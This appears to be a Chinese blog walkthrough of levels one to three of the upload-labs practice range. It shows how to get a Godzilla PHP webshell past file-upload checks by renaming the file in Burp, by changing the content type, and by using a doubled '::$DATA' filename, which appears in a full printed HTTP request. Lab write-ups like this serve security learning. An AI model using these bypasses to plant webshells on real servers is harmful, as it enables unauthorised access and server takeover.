【web安全】文件上传漏洞

upload-labs靶场

第一关  绕过前端

先打开哥斯拉,生成木马,选择php

【web安全】文件上传漏洞_第1张图片

【web安全】文件上传漏洞_第2张图片

打开brup开浏览器,上传文件,就会发现被阻止了,还没抓到包呢

那就是被前端代码阻止了,那通常前端代码都只能防御后缀名

我们抓到包后直接改回名称即可

那就先复制木马文件,再改成 .png 图片格式结尾

【web安全】文件上传漏洞_第3张图片

然后打开抓包,上传绕过前端,就能看到抓去的数据包了

【web安全】文件上传漏洞_第4张图片

改回去php即可

【web安全】文件上传漏洞_第5张图片

右键查看一下图片,就会发现图片地址都给我们了

【web安全】文件上传漏洞_第6张图片

# 所以木马位置在这里
http://127.0.0.1/upload-labs-master/upload/gesila.php

上哥斯拉测试连接,没毛病,下一题

【web安全】文件上传漏洞_第7张图片

第二关  绕过后端的类型判断

第二关可以用第一关的方法,但不知道为什么可以,于是看了一下源码,原来是类型绕过了

上传图片的时候,类型自动是图片类型,而这关可以直接用php文件上传

抓包改成图片类型就行了,连后缀名都不需要改

【web安全】文件上传漏洞_第8张图片

第三关  隐藏流文件双写绕过

上传木马文件,数据包增加下面东西,其实我也没看太懂

但可能会是一个比较实用的技巧

因为我看了一下源代码,源码是用php代码写常量数组判断后缀名是否在数组的后缀名中

所以这是很常见的防御写法这种破解应该是比较实用

【web安全】文件上传漏洞_第9张图片

完整数据包如下:

POST /upload-labs-master/Pass-03/index.php?action=show_code HTTP/1.1
Host: 127.0.0.1
Content-Length: 348
Cache-Control: max-age=0
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="96"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRSR1Z7D37x0XoKBw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/upload-labs-master/Pass-03/index.php?action=show_code
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ahreltidkjthrep12lbfgq9got
Connection: close

------WebKitFormBoundaryRSR1Z7D37x0XoKBw
Content-Disposition: form-data; name="upload_file"; filename="gesila.php::$DA::$DATATA"
Content-Type: application/octet-stream

上传之后需要查看文件名是什么?不然没法搞

【web安全】文件上传漏洞_第10张图片

这个文件名一半看懂,一半没看懂,原理也没查到

反正前面就是年月日,后面一半就不知道是什么来的了,所以需要看到有文件名才能getshell

你可能感兴趣的:(web安全,安全)